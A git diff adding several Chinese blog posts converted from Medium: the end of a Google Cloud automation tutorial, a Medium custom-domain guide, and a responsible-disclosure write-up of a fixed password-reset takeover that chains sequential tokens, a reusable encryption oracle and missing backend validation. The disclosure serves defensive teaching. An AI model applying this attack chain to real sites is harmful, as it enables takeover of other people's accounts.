db.collection(u'example') //集合名稱 +stream = ref.stream() +for data in stream: + print("id:"+data.id+","+data.to_dict()) +``` + + +> _如果是在 Cloud Functions 上除了可以把 身份驗證 JSON 檔一起上傳上去,也可以在使用時將連接語法改成以下使用:_ + + + + +```python +cred = credentials.ApplicationDefault() +firebase_admin.initialize_app(cred, { + 'projectId': project_id, +}) + +db = firestore.client() +``` + + +> _如果出現 `Failed to initialize a certificate credential.` ,請檢查身份驗證 JSON 是否正確。_ + + + + + +新增、刪除更多操作請參考 [官方文件](https://firebase.google.com/docs/firestore/manage-data/add-data){:target="_blank"} 。 +### 4\. 在 Google Cloud 設定自動排程 + +有了腳本之後再來是要讓他自動執行才能達到我們的最終目標。 +- 前往 [**Google Cloud Scheduler**](https://console.cloud.google.com/cloudscheduler/){:target="_blank"} 控制台首頁 +- 上方「建立工作」 + + + +![](/assets/70a1409b149a/1*5tNybi2HssmWoyJDQyPSJQ.png) + +- 輸入工作基本資料 + + + +![](/assets/70a1409b149a/1*yqkJnt9PVYEllOpDtK1RmQ.png) + + +**執行頻率:** 同 crontab 輸入方式,如果你對 crontab 語法不熟,可以直接使用 [**crontab\.guru 這個神器網站**](https://crontab.guru/#15_1_*_*_*){:target="_blank"} : + + +![](/assets/70a1409b149a/1*xnZBlcsMrQVJc6ewJIfAxA.png) + + +他能很直白的翻譯給你所設定的語法實際意思。(點 **next** 可查看下次執行時間) + + +> _這邊我設定 `15 1 * * *` ,因為簽到每天只需要執行一次,設在每日凌晨 1:15 執行。_ + + + + + +**網址部分:** 輸入前面記下的「 **觸發網址** 」 + +**時區:** 輸入「台灣」,選擇台北標準時間 + +**HTTP 方法:** 照前面 Python 程式碼我們用 Get 就好 + +**如果前面有設「驗證」** 記得展開「SHOW MORE」進行驗證設定。 + +**都填好後** ,按下「 **建立** 」。 +- 建立成功後可選擇「立即執行」測試一下正不正常。 + + + +![](/assets/70a1409b149a/1*H_nsZNQ16iIKwThQpGJDmA.png) + + + +![](/assets/70a1409b149a/1*X6pL0J4hGL_KodhsppvsJg.png) + +- 可查看執行結果、上次執行日期 + + + +![](/assets/70a1409b149a/1*pUqTo-NM1z-srXbq1BM4rA.png) + + + +> _⚠️ **請注意,執行結果「失敗」僅針對 web status code 是 400~500 或 python 程式有錯誤。**_ + + + + +### 大功告成! + +我們已達成將例行任務 Python 腳本上傳到雲端&設定自動排成自動執行的目標。 +### 計價方式 + +還有一部分很重要,就是計價方式;Google Cloud、Linebot 都不是全免費服務,所以了解收費方式很重要;不然為了一個小小的腳本,付出太多的金錢那不如電腦開著掛著跑哩。 +#### Linebot + + +![](/assets/70a1409b149a/1*cfuKJxNoW4tvCEhqdC7oIQ.png) + + +參考 [官方定價](https://tw.linebiz.com/service/account-solutions/line-official-account/){:target="_blank"} 資訊,一個月 500 則內免費。 +#### Google Cloud Functions + + +![](/assets/70a1409b149a/1*2431d2F1BNtEJUg845uDQg.png) + + +參考 [官方定價](https://cloud.google.com/functions/pricing?hl=zh-tw){:target="_blank"} 資訊,每月有 200 萬次叫用、400,000 GB/秒和 200,000 GHz/秒的運算時間、 5 GB 的網際網路輸出流量。 +#### Google Firebase Cloud Firestore + + +![](/assets/70a1409b149a/1*2t1boe9DQX1NBgGyYTrVnA.png) + + +參考 [官方定價](https://firebase.google.com/docs/firestore/quotas){:target="_blank"} 資訊,有 1 GB 大小容量、每月 10 GB 流量、每天 50,000 次讀取、20,000 次寫入/刪除;輕量使用很夠用了! +#### Google Cloud Scheduler + + +![](/assets/70a1409b149a/1*b9cvGpPqjKRFHa-45Yuzdw.png) + + +參考 [官方定價](https://cloud.google.com/scheduler/pricing?hl=zh-tw){:target="_blank"} 資訊,每個帳號有 3 項免費工作可設定。 + + +> 對腳本來說以上免費用量就綽綽有餘啦! + + + +#### Google Cloud Storage 有條件免費 + +東躲西躲,還是躲不掉可能被收費的服務。 + +Cloud Functions 建立好之後會自動建立兩個 Cloud Storage 實體: + + +![](/assets/70a1409b149a/1*OvWXsZbwnM8sNfvdtDAIOA.png) + + +如果剛剛 Cloud Functions 選擇的是 US\-WEST1、US\-CENTRAL1 或 US\-EAST1 這三個地區則可享有免費使用額度: + + +![](/assets/70a1409b149a/1*arevMQGpsIumGlw_PE-hQQ.png) + + +我是選擇 US\-CENTRAL1 沒錯,可以看到第一個 Cloud Storage 實體的地區是 US\-CENTRAL1 沒錯,但第二個是寫 **美國多個地區** ; **我自已估計這項是會被收費的** 。 + + +![](/assets/70a1409b149a/1*kuX9HlPTfMxbEg-sa3rJOQ.png) + + +參考 [官方定價](https://cloud.google.com/storage/pricing?hl=zh-tw){:target="_blank"} 資訊,依照主機地區不同有不同的價格。 + +程式碼沒多大,估計應該就是每個月最低收費 0\.0X0 元(? + + +> _⚠️以上資訊均為 2021/02/21 時撰寫時紀錄,實際以當前價格為主,僅共參考。_ + + + + +#### 計價預算控制通知 + +just in case…假設真的有狀況超出免費用量開始計價,我希望能收到通知;避免可能程式錯誤暴衝造成帳單金額報表卻渾然不知。。。 +- 前往 [**主控台**](https://console.cloud.google.com/){:target="_blank"} +- 找到「 **計費功能** 」Card: + + + +![](/assets/70a1409b149a/1*r0T8gZsaWroxhWxIxKwRWQ.png) + + +點擊「 **查看詳細扣款紀錄** 」進入。 +- 展開左邊選單,進入「 **預算與快訊** 」功能 + + + +![](/assets/70a1409b149a/1*GtT4Sj9Q19O_QxWTWgM5UA.png) + +- 點擊上方「 **設定預算** 」 + + + +![](/assets/70a1409b149a/1*ytmGKw4sy6b-U3XAeI_geQ.png) + +- 輸入自訂名稱 + + + +![](/assets/70a1409b149a/1*_qgQMB_WsCuoxtJ4vA6xgw.png) + + +下一步。 +- 金額,輸入「 **目標金額** 」,可輸入 $1、$10;我們不希望在小東西上花太。 + + + +![](/assets/70a1409b149a/1*y6fIpzReQxZZRsVpZIk-tw.png) + + +下一步。 + +動作這邊可以設定當預算達到多少百分比時會觸發通知。 + + +![](/assets/70a1409b149a/1*y4B62yjPWAy1pBQhZmiySQ.png) + + +**勾選** 「 **透過電子郵件將快訊傳送給帳單管理員和使用者** 」,這樣當條件處發時就能第一時間收到通知。 + + +![](/assets/70a1409b149a/1*PTQDG_Uffa8fvHxaeYCnrQ.png) + + +點擊「完成」送出儲存。 + + +![](/assets/70a1409b149a/1*QWH-bIlQAC7hhc4SVQOI5g.png) + + + +![](/assets/70a1409b149a/1*-BAHV1lovaYgblnCCubmSQ.png) + + +當預算超過時我們就能馬上就能知道,避免產生更多費用。 +### 總結 + +人的精力是有限的,現今科技資訊洪流,每個平台每個服務都想要榨取我們有限的精力;如果能透過一些自動化腳本分擔我們的日常生活,聚沙成塔,讓我們省下更多精力專心在重要的事情之上! +### 延伸閱讀 +- [Slack 打造全自動 WFH 員工健康狀況回報系統](../d61062833c1a/) +- [Crashlytics \+ Big Query 打造更即時便利的 Crash 追蹤工具](../e77b80cc6f89/) +- [Crashlytics \+ Google Analytics 自動查詢 App Crash\-Free Users Rate](../793cb8f89b72/) +- [APP有用HTTPS傳輸,但資料還是被偷了。](../46410aaada00/) +- [如何打造一場有趣的工程CTF競賽](../729d7b6817a4/) +- [iOS 14 剪貼簿竊資恐慌,隱私與便利的兩難](../8a04443024e2/) +- [運用 Google Apps Script 轉發 Gmail 信件到 Slack](../d414bdbdb8c9/) + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + +有自動化相關優化需求也歡迎 [發案給我](https://www.zhgchg.li/contact){:target="_blank"} ,謝謝。 + + + +_[Post](https://medium.com/zrealm-ios-dev/%E4%BD%BF%E7%94%A8-python-google-cloud-platform-line-bot-%E8%87%AA%E5%8B%95%E5%9F%B7%E8%A1%8C%E4%BE%8B%E8%A1%8C%E7%91%A3%E4%BA%8B-70a1409b149a){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2021-02-22-142244e5f07a.md b/_posts/zmediumtomarkdown/2021-02-22-142244e5f07a.md new file mode 100644 index 000000000..c0d1ec7c8 --- /dev/null +++ b/_posts/zmediumtomarkdown/2021-02-22-142244e5f07a.md @@ -0,0 +1,241 @@ +--- +title: "揭露一個幾年前發現的巧妙網站漏洞" +author: "ZhgChgLi" +date: 2021-02-22T13:27:06.542+0000 +last_modified_at: 2023-08-05T16:45:45.410+0000 +categories: "ZRealm Dev." +tags: ["ios-app-development","hacker","web-security","website-security-test","capture-the-flag"] +description: "多個漏洞合併引起的網站資安問題" +image: + path: /assets/142244e5f07a/1*EQPani1J-PTO-ccp588gBg.jpeg +render_with_liquid: false +--- + +### 揭露一個幾年前發現的巧妙網站漏洞 + +多個漏洞合併引起的網站資安問題 + + + +![Photo by [Tarik Haiga](https://unsplash.com/@tar1k?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}](/assets/142244e5f07a/1*EQPani1J-PTO-ccp588gBg.jpeg) + +Photo by [Tarik Haiga](https://unsplash.com/@tar1k?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"} +### 前言 + +幾年前還有在邊支援網頁開發的時候;被指派任務要為公司內部工程組舉辦 CTF 競賽;一開始初想是依照公司產品分組互相攻防入侵,但身為主辦,為了想先瞭解掌握程度就先對公司旗下各產品進行入侵測試;看看我自己能找到幾個漏洞,確保活動流程不會出問題。 + + +> _但最後因為比賽時間有限、工程區別差異太大;所以最後以工程共通基礎知識及有趣的方向出題,有興趣的朋友可參考我之前的文章「 [**如何打造一場有趣的工程CTF競賽**](../729d7b6817a4/) 」;裡面有很多腦洞大開的題目!_ + + + + +### 找到的漏洞 + +一共在三個產品中找到四個漏洞,除了本文準備提及的問題之外還有以下三個常見網站漏洞被我發現: +1. **Never Trust The Client\!** +問題很入門,就是前端直接將 ID 送給後端,而且後端還直接認了;這邊應該要改成認 Token。 +2. **重設密碼設計缺陷** +實際有點忘了,只記得是程式設計有缺陷;導致重設密碼步驟可以繞過信箱驗證。 +3. **XSS 問題** +4. **本文將介紹的漏洞** + + +查找方式一律以黑箱測試,其中只有發現 XSS 問題的產品是我有參與過程式開發,其他都沒有也沒看過程式碼。 +### 漏洞現況 + +身為白帽駭客,所有找到的問題都已在第一時間回報工程團隊和修復了;目前也過了兩年,想想是時候可以公開了;但顧及前公司立場,本文不會提到是哪個產品出現此漏洞,大家就只要參考這個漏洞發現的歷程及原因就好! +### 漏洞後果 + +此漏洞可讓入侵者隨意變更目標使用者密碼,並使用新密碼登入目標使用者帳號,盜取個人資料、從事非法操作。 +### 漏洞主因 + +如同標題所述,此漏洞是由多個原因組合觸發;包含以下因素: +- 帳號登入未支援兩階段驗證、設備綁定 +- 重設密碼驗證使用流水號 +- 網站資料加密功能存在解密漏洞 +- 加解密功能濫用 +- 驗證令牌設計錯誤 +- 後端未二次驗證欄位正確性 +- 平台上使用者信箱為公開資訊 + +### 漏洞重現方式 + + +![](/assets/142244e5f07a/1*ILb0VdnkAvgH5aW7qos_lg.png) + + +因平台上使用者信箱為公開資訊,所以我們先在平台上瀏覽目標入侵帳號;知道信箱後前往重設密碼頁。 +- 首先先輸入自己的信箱進行重設密碼操作 +- 再輸入想入侵帳號的信箱,一樣進行重設密碼操作 + + +以上兩個操作都會寄出重設密碼驗證信。 + + +![](/assets/142244e5f07a/1*sPNp2NfoykG8-m3vWociQQ.png) + + +進到自己的信箱去收自己那一封重設密碼驗證信。 + +**變更密碼連結為以下網址格式:** +``` +https://zhgchg.li/resetPassword.php?auth=PvrrbQWBGDQ3LeSBByd +``` + +`PvrrbQWBGDQ3LeSBByd` 就是此次重設密碼操作的驗證令牌。 + +但我在觀察網站上驗證碼圖片時發現驗證碼圖片的連結格式也是類似: +``` +https://zhgchg.li/captchaImage.php?auth=6EqfSZLqDc +``` + + +![](/assets/142244e5f07a/1*nfAhh3QasOLCDxdxH5jEQg.png) + + +`6EqfSZLqDc` 顯示出 `5136` 。 + +那把我們的密碼重設 Token 塞進去會怎樣?管他的! **塞塞看!** + + +![](/assets/142244e5f07a/1*9BccKKQMxdqgtqlad13Ghg.png) + + + +> Bingo\! + + + + +但驗證碼圖片太小,無法得到完整的資訊。 + +**我們繼續找可利用的點…** + +剛好網站為了防止爬蟲侵擾,會將用戶的公開個人資料信箱,用 **圖片呈現** ,關鍵字: **圖片呈現!圖片呈現!圖片呈現!** + +立刻打開來看看: + + +![個人資料頁](/assets/142244e5f07a/1*VLoCTluycBbW70QplV50Lw.png) + +個人資料頁 + + +![網頁原始碼部分](/assets/142244e5f07a/1*cb0Rpz_Zuto5e6WTPsA_Tw.png) + +網頁原始碼部分 + +我們也得到了類似的網址格式結果: +``` +https://zhgchg.li/mailImage.php?mail=V3sDblZgDGdUOOBlBjpRblMTDGwMbwFmUT10bFN6DDlVbAVt +``` + +`V3sDblZgDGdUOOBlBjpRblMTDGwMbwFmUT10bFN6DDlVbAVt` 顯示出 `zhgchgli@gmail.com` + +**一樣管他的!塞爆!** + + +![](/assets/142244e5f07a/1*mQVMT-D8avyeYSYp5VBU8w.png) + + + +> Bingo\!🥳🥳🥳 + + + + + +> `PvrrbQWBGDQ3LeSBByd` _= `2395656`_ + + + + +#### **反解出重設密碼令牌,發現是數字之後** + +我想了該不會是流水號吧。。。 + +於是再輸入一次信箱請求重設密碼,將新收到的信的 Token 解出來,得到 `2395657` … what the fxck…還真的是 + +知道是流水後之後就好辦事了,所以一開始的操作才會是先請求自己帳號的重設密碼信,再請求要入侵的目標;因為已經可以預測到下一個請求密碼的 id 了。 + + +> **_再來只需要想辦法將 `2395657` 換回 Token 令牌即可!_** + + + + +#### 好巧不巧又發現個問題 + + +> **_網站在編輯資料時的信箱格式驗證只有前端驗證,後端並未二次驗證格式是否正確…_** + + + + + +繞過前端驗證後,將信箱改為下一位目標 + + +![](/assets/142244e5f07a/1*tdqRy5N0k8WS85l8u8CbKw.png) + + + +![](/assets/142244e5f07a/1*PRTZJZuv7DG11CoUn5OHQg.png) + + + +> Fire in the hole\! + + + + +**我們得到:** +``` +https://zhgchg.li/mailImage.php?mail=UTVRZwZuDjMNPLZhBGI +``` + +**這時候將此密碼重設令牌,帶回密碼重設頁面:** + + +![](/assets/142244e5f07a/1*1kZp5LQ1yT6m7IBJLoYj9Q.png) + + + +> 入侵成功!繞過驗證重設他人密碼! + + + + +最後因為沒有二階段登入保護、設備綁定功能;所以密碼被覆蓋掉之後就能直接登入冒用了。 +### 事出有因 + +重新梳理一下整件事的流程。 +- 一開始我們要重設密碼,但發現重設密碼的令牌實際上是一個流水號,而非真正的唯一識別 Token +- 網站濫用加解密功能,沒有區分功能使用;全站幾乎都用同一組 +- 網站存在線上任意加解密入口(等於密鑰報廢) +- 後端未二次驗證使用者輸入 +- 沒有二階段登入保護、設備綁定功能 + +#### 修正方式 +- 最根本的是重設密碼的令牌應該要是隨機產生的唯一識別 Token +- 網站加解密部分,應該區分功能使用不同密鑰 +- 避免外部可以任意操作資料加解密 +- 後端應該要驗證使用者輸入 +- 以防萬一,增加二階段登入保護、設備綁定功能 + +### 總結 + +整個漏洞發現之路令我驚訝,因為很多都是基本的設計問題;雖然功能上單看來說是可以運作,有小洞洞也還算安全;但多個破洞組合起來就會變成一個大洞,在開發上真的要小心謹慎為妙。 +### 延伸閱讀 +- [如何打造一場有趣的工程CTF競賽](../729d7b6817a4/) +- [APP有用HTTPS傳輸,但資料還是被偷了](../46410aaada00/) +- [找回密碼之簡訊驗證碼強度安全問題](../99a6cef90190/) + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/%E6%8F%AD%E9%9C%B2%E4%B8%80%E5%80%8B%E5%B9%BE%E5%B9%B4%E5%89%8D%E7%99%BC%E7%8F%BE%E7%9A%84%E5%B7%A7%E5%A6%99%E7%B6%B2%E7%AB%99%E6%BC%8F%E6%B4%9E-142244e5f07a){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2021-02-23-d9a95d4224ea.md b/_posts/zmediumtomarkdown/2021-02-23-d9a95d4224ea.md new file mode 100644 index 000000000..0d8dfa162 --- /dev/null +++ b/_posts/zmediumtomarkdown/2021-02-23-d9a95d4224ea.md @@ -0,0 +1,303 @@ +--- +title: "Medium 自訂網域功能回歸" +author: "ZhgChgLi" +date: 2021-02-23T18:25:15.743+0000 +last_modified_at: 2023-08-05T16:45:13.887+0000 +categories: "ZRealm Life." +tags: ["medium","生活","domain-names","domain-authority","domain-registration"] +description: "自己的 Domain Authority 自己養!" +image: + path: /assets/d9a95d4224ea/1*Yoz3gwb9HPe2d-ja6Y8W-Q.png +render_with_liquid: false +--- + +### Medium 自訂網域功能回歸 + +自己的 Domain Authority 自己養! + + + +![](/assets/d9a95d4224ea/1*Yoz3gwb9HPe2d-ja6Y8W-Q.png) + +### TL;DR \[2022/07/11\] 此功能又被關閉了 + + +![](/assets/d9a95d4224ea/1*o5LrrPHvIFm42SLffVH_Nw.png) + + +感謝網友 [MING](https://medium.com/u/8deb80c1cbc0){:target="_blank"} 回報,此功能又被 [官方宣告關閉了](https://help.medium.com/hc/en-us/articles/115003053487-Custom-domain-feature-deprecation){:target="_blank"} ,已經設定的帳戶暫時還可以繼續轉址使用。 +### Breaking News\! + + +![[Custom domains are back\!](https://blog.medium.com/custom-domains-are-back-2dee29560d59){:target="_blank"}](/assets/d9a95d4224ea/1*U47TgxAbNN7kyNQA5AB3VA.gif) + +[Custom domains are back\!](https://blog.medium.com/custom-domains-are-back-2dee29560d59){:target="_blank"} + +Medium 官方部落格於 2021/02/17 發布最新消息,Medium 又能重新讓創作者綁定自己的網域(Domain)啦!不論事創作者 Profile 頁或是 Publications 都支援設定。 +#### 什麼是「自訂網域」 + +為了怕讀者不一定都是資訊領域出生,這邊簡單說明一下什麼是自訂網域。 + +網域(Domain)如同網路世界的門牌,我輸入門牌 Medium\.com 就會到 Medium;如今開放讓創作者自訂網域,也就是自訂門牌,你可以註冊好自己想要的門牌,然後綁定到 Medium 的帳號上就能取代掉原本的門牌;例如我使用 [blog\.zhgchg\.li](https://blog.zhgchg.li/){:target="_blank"} 這個門牌,也會進到我的 Medium。 +#### 歷史 + +查資料在早期約莫 2012 年時有開放過此功能,收費方式是一次性 $75 美金設定費;但在我開始寫 Medium 的時候 \(2018\) 早就停止了這個功能服務,但已經申請的不受影響,所以有時候逛 Medium 會看到 Domain 是自己的,但網站是 Meidum,很酷;聽說推出了一陣子就下架了,我自己估計是因為商業考量,自訂網域會降低 Medium 識別度。 +#### 好處 +- **識別度** :自訂網域能為創作者帶來許多好出,最直白得就是識別度,不在是 medium\.com/@xxxx 這種,而是直接以你的名稱作為顯示 ex: zhgchg\.li/ +- **自由度** :之後如果想搬離 Medium 自架網站,也可以透過轉址方式將原本的連結直接導往新網站。 +- **Domain Authority** :與 SEO 搜尋結果排名有關,可以透過 Medium 來養自己域名的權值,日後轉戰其他平台也不怕 SEO 從頭來。 + +#### 壞處 +- 不再享有 medium\.com 的高 **Domain Authority** SEO 排名優勢,初期可能會嚴重影響搜尋進入的流量。 + +#### 規則 + +我發現文章連結、分享連結,如果該文章有加入 Publication 但 Publication 沒有設 Custom domain 也不會用 Profile 的 Domain 會變回預設的 medium\.com 連結。 +#### 我的設定 + +先貼一個我的設定給大家參考。 +- Profile 頁: [blog\.zhgchg\.li](http://blog.zhgchg.li){:target="_blank"} (我是只用子網域 `blog.zhgchg.li` ,因為主網域有其他用途) + + + +> **_Publication 頁我本來有設,但後來拿掉了_** _;因為我的追蹤者不多自生產流量能力有限,需要大量依賴 Google 等搜尋引擎流量流入;如果 Publication 頁也用 Custom Domain 的話會導致文章連結變成我的域名,但我的域名還太菜,搜尋結果超級後面,吸引不到流量。_ + + + + + + +> 只設 Profile 不設 Publication 有一個好處,原本的 medium 連結還是能被 google 收錄;另外還能多開一條路是自己網域的連結,這樣兩全其美;一方面不會喪失原本的流量,又能慢慢養自己域名的 Domain Authority。 + + + +#### 適合的對象 + +若要從頭培養一個 Domain 的權威值,需要經過很漫長的時間累積;我想了一下覺得這個功能最適合的應該是本身就有網站服務(ex: musicplayer\.com);如果想建立社群,則可直接使用 Medium,這時候域名就可用(blog\.musicplayer\.com) + +1 是直接使用 Medium 平台來撰寫文章(而且目前客製化功能越開越多)、2 是本身域名也有 DA 不會影響 SEO 太多 +### 價格 +#### 網域部分: + +依照自己的喜好由 [Namecheap](https://namecheap.pxf.io/P0jdZQ){:target="_blank"} (本文以此為例)或 Godaddy 取得,常見的 \.com 價格大約 $200~$500 台幣一年;依照域名的域名後綴、長度價格不定,稀有的上百萬上億都有聽過。 + +網域註冊採用先註冊先贏的策略,除非該地區該域名名稱有商標保護才有可能透過法律手段拿回來;不然就是人家先搶先贏,你只能跟他談價購買,因此衍伸出一種投資(域名蟑螂)註冊大量域名霸佔著不用,等人來跟他買。 + +網域需每年繳費或一次買 x 年,沒有終身買斷;若沒繼續續費,超過保護期限就會釋出,讓所有人都能重新註冊。 + +不過我想經營 Medium 的朋友應該不太會遇到域名被霸佔的問題,因為多半是個人居多,我是使用我的網路帳號 zhgchg\.li 進行註冊沒有人註冊過;如果好巧不巧遇到重複,也可以改後綴,例如 \.div/\.net…等等 + +後綴部分可參考 [網際網路頂級域列表](https://zh.wikipedia.org/wiki/%E4%BA%92%E8%81%94%E7%BD%91%E9%A1%B6%E7%BA%A7%E5%9F%9F%E5%88%97%E8%A1%A8){:target="_blank"} ,但不代表上面有的就能申請;要看該域名國家的規範、另外還有代理平台 \( [Namecheap](https://namecheap.pxf.io/P0jdZQ){:target="_blank"} , Godaddy\. \. \) 也不一定有販售該後綴的域名。 + +例如我的 \.li 是 [列支敦斯登](https://zh.wikipedia.org/wiki/%E5%88%97%E6%94%AF%E6%95%A6%E6%96%AF%E7%99%BB){:target="_blank"} 的域名,目前對域名註冊者的身份沒有要求,任何人和公司都可以註冊;且只有 [Namecheap](https://namecheap.pxf.io/P0jdZQ){:target="_blank"} 尚有販售。 + + +![姓李的好處?](/assets/d9a95d4224ea/1*JlTuqsMyGa5fYCnUYEaIOw.png) + +姓李的好處? + + +> _題外話,我的拼法 zhgchg\.li 這種網域方式又叫 [Domain Hack](https://zh.wikipedia.org/wiki/%E5%9F%9F%E5%90%8Dhack){:target="_blank"} ;更好的例子是 google => goo\.gl。_ + + + + +#### Medium 部分: + +目前取消了一次性 $75 美金設定費,改為 Medium 付費會員身份都能使用(一個月 $5 美金/一年 $50 美金);但我其實比較喜歡原本的一次設定費 QQ;因為我多半為創作者,不太需要付費會員的訂閱權限,改月費年費制對我來說比較傷,開始被迫考慮加入付費牆計畫了 Orz。 +#### 2021/04/05 更新 + +假設先加入會員計劃然後設好自訂網域後不再繼續續費會員會怎麼樣? + + +> 實測會員失效後,自訂網域依然有效! + + + +### 開始設定 +#### 1\. 購買&取得域名 \(以 [Namecheap](https://namecheap.pxf.io/P0jdZQ){:target="_blank"} 為例\) + +首先到 [**Namecheap 官網首頁**](https://namecheap.pxf.io/P0jdZQ){:target="_blank"} 搜尋喜歡的域名: + + +![](/assets/d9a95d4224ea/1*rMdeqUtI_mqhu4E0S9-hrg.png) + + +得到搜尋結果: + + +![](/assets/d9a95d4224ea/1*onP_MBBew5tEznz0Jlplog.png) + + +右邊按鈕顯示「 **Add To Cart** 」代表該域名還沒有人註冊,可以加入購物車購買。 + +如果右邊按鈕顯示「 **Make offer** 」、「 **Taken** 」代表該域名已被註冊,請選擇其他後綴或換個域名: + + +![](/assets/d9a95d4224ea/1*3R6HAQgpimJ33bax6ywe0g.png) + + +加入購物車後點擊下方「 **Checkout** 」。 + + +![](/assets/d9a95d4224ea/1*Xcm3dGx100WOYUcpgBFT9w.png) + + +進入訂單確認頁: + + +![](/assets/d9a95d4224ea/1*vfmnXvEaFubrAHHMaRy6hw.png) + +- **Domain Registration** :這邊可以選擇 `AUTO-RENEW` 每年自動續費,也可以改要一次購買的年數。 +- **WhoisGuard** :由於 [網域資料可以公開讓任何人自由查詢](https://www.namecheap.com/domains/whois/result?domain=google.com){:target="_blank"} (註冊時間、到期日、註冊人、聯繫方式);此功能可以將註冊人及聯繫方式改為顯示 Namecheap,而非直接顯示你的個人資料,可以防止垃圾郵件訊息。 +(此功能部分後綴是要收費的,如果是免費的話就用吧!) + + + +![](/assets/d9a95d4224ea/1*AZ3Evt6kFyzKNYepeVW7cw.png) + + +擷取一些 google\.com 的 whois 訊息結果,可 [由此查詢](https://www.namecheap.com/domains/whois/result?domain=google.com){:target="_blank"} 。 +- **PremiumDNS** :我們知道域名等於門牌,也就是說看到門牌會去找位置在哪;這個功能就是提供更穩定安全的「找位置在哪」功能,我是覺得不必,除非是一點錯誤都不能出的高流量電商網站之類。 + + +輸入完信用卡資訊點「 **Confirm Order** 」 + + +![](/assets/d9a95d4224ea/1*2l-4pmtoyKepXD3nvKxRPw.png) + + +之後就購買成功囉! + + +![](/assets/d9a95d4224ea/1*NMFFKl7SyCVi3v1ZFZFT1Q.png) + + +會收到一封訂單明細信件。 +#### 2\.設定網域 \(以 [Namecheap](https://namecheap.pxf.io/P0jdZQ){:target="_blank"} 為例\) + +登入帳號後,點選 **左上角帳號** \-> 「 **Dashboard** 」 + + +![](/assets/d9a95d4224ea/1*BHbXLRSqCjCZyf6ynHlvww.png) + + +進入「 **Dashboard** 」後切換到「 **Domain List** 」頁籤,找到剛買的 Domain 點 「 **Manage** 」 + + +![](/assets/d9a95d4224ea/1*xIK5jsLCbnc7jgmuwUyLug.png) + + +進來之後切換到最後一個「 **Advanced DNS** 」頁籤 + + +![](/assets/d9a95d4224ea/1*FsXSsQThWhh_Y93L5zqsFQ.png) + + +**先放在這頁不動,回到 Medium。** + +前往 [Medium 的設定頁](https://medium.com/me/settings){:target="_blank"} ,找到「Profile」區塊中的「Custom domain」部分,點擊「 **Get started** 」 + + +> _Publications 的話請,一樣前往 Publications 的「Homepage and settings」在底部找到「Custom domain」部分。_ + + + + + + +![](/assets/d9a95d4224ea/1*vjun5sB8zRWjbo_xK_iIWg.png) + + +如果顯示「Upgrade」則代表你要先升級成付費用戶才能使用此功能。 + +**進入設定頁面:** + + +![](/assets/d9a95d4224ea/1*pnD2kJPixXfREUNcmsdFRw.png) + + +輸入你的 Domain 名稱,ex: `www.example.com` + + +![](/assets/d9a95d4224ea/1*W4litf2WcjZ-G8HwLVhLkg.png) + + +**記住以上資訊,這時候再回到 Namecheap 設定頁。** + +在「 **Advanced DNS** 」頁籤中找到「 **HOST RECORDS** 」部分 + + +![](/assets/d9a95d4224ea/1*OW3qjvxYXCzSo6UuPvkAcg.png) + + +點擊下方「 **ADD NEW RECORD** 」按鈕兩次,出現兩筆新增資料框。 + + +![](/assets/d9a95d4224ea/1*NnjyygCAcH2st_7M-Is39A.png) + + +將 Medium 上的資訊輸入進去: +- 選擇「 A Record」 +- 如果你是主網域 \(ex: zhgchg\.li\) 則輸入 www,像我一樣只是子網域就輸入子網域名稱 +- IP 輸入同 Medium 上的資訊 + + +並點右邊「✔」完成新增。 + +再次檢查「HOST RECORDS」區塊有無出現紀錄。 + + +![](/assets/d9a95d4224ea/1*PuoZ0zUuFcn6VcyUulZq0A.png) + + +**有的話 Namecheap 這邊就設定完成了,回到 Medium 設定頁。** + +點擊「 **Continue** 」繼續。 + + +![](/assets/d9a95d4224ea/1*j1HD1RdsVFPk5myB5ZSsGA.png) + + +**出現處理中頁面,代表設定完成!** + + +![](/assets/d9a95d4224ea/1*FJSLUp4TWM2qbjIw8ZIw9g.png) + + +這邊要說明一下 Domain 綁定 DNS 設定需要最遲 48 小時才會完全生效,最快不一定,我設定的經驗是 15 分鐘就成功了;但 48 小時內還是有可能你可以訪問帶其他人找不到。 + +**未生效時訪問網域會出現 404:** + + +![](/assets/d9a95d4224ea/1*KjM-mDxPHipdO0sMEcohHQ.png) + +### 要注意 + +使用自訂網域分享出去的連結,如果之後更改自訂網域可能會導致已分享的連結失效。 + + +![](/assets/d9a95d4224ea/1*PZjCUYWW9wvLii3953Y2lQ.png) + +### 小問題 + +2021/02/24 撰文時還太新,還有些問題要等 Medium 解決: + + +![[Custom domains are back\!](https://blog.medium.com/custom-domains-are-back-2dee29560d59){:target="_blank"}](/assets/d9a95d4224ea/1*1y0WxZN02UZvgYmFiGvKmQ.png) + +[Custom domains are back\!](https://blog.medium.com/custom-domains-are-back-2dee29560d59){:target="_blank"} + +但我想已經能 99% 正常運作了! + +是說如果取消付費會員…那會?直接失效? +### 延伸閱讀 +- [\[生產力工具\] 拋棄 Chrome 投入 Sidekick 瀏覽器的懷抱](../118e924a1477/) + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-life/medium-%E8%87%AA%E8%A8%82%E7%B6%B2%E5%9F%9F%E5%8A%9F%E8%83%BD%E5%9B%9E%E6%AD%B8-d9a95d4224ea){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2021-02-24-5ea3311119d8.md b/_posts/zmediumtomarkdown/2021-02-24-5ea3311119d8.md new file mode 100644 index 000000000..fa5bb4b20 --- /dev/null +++ b/_posts/zmediumtomarkdown/2021-02-24-5ea3311119d8.md @@ -0,0 +1,173 @@ +--- +title: "Bye Bye 2020 經營 Medium 第二年回顧" +author: "ZhgChgLi" +date: 2021-02-24T12:59:41.547+0000 +last_modified_at: 2023-08-05T16:43:39.956+0000 +categories: "ZRealm Life." +tags: 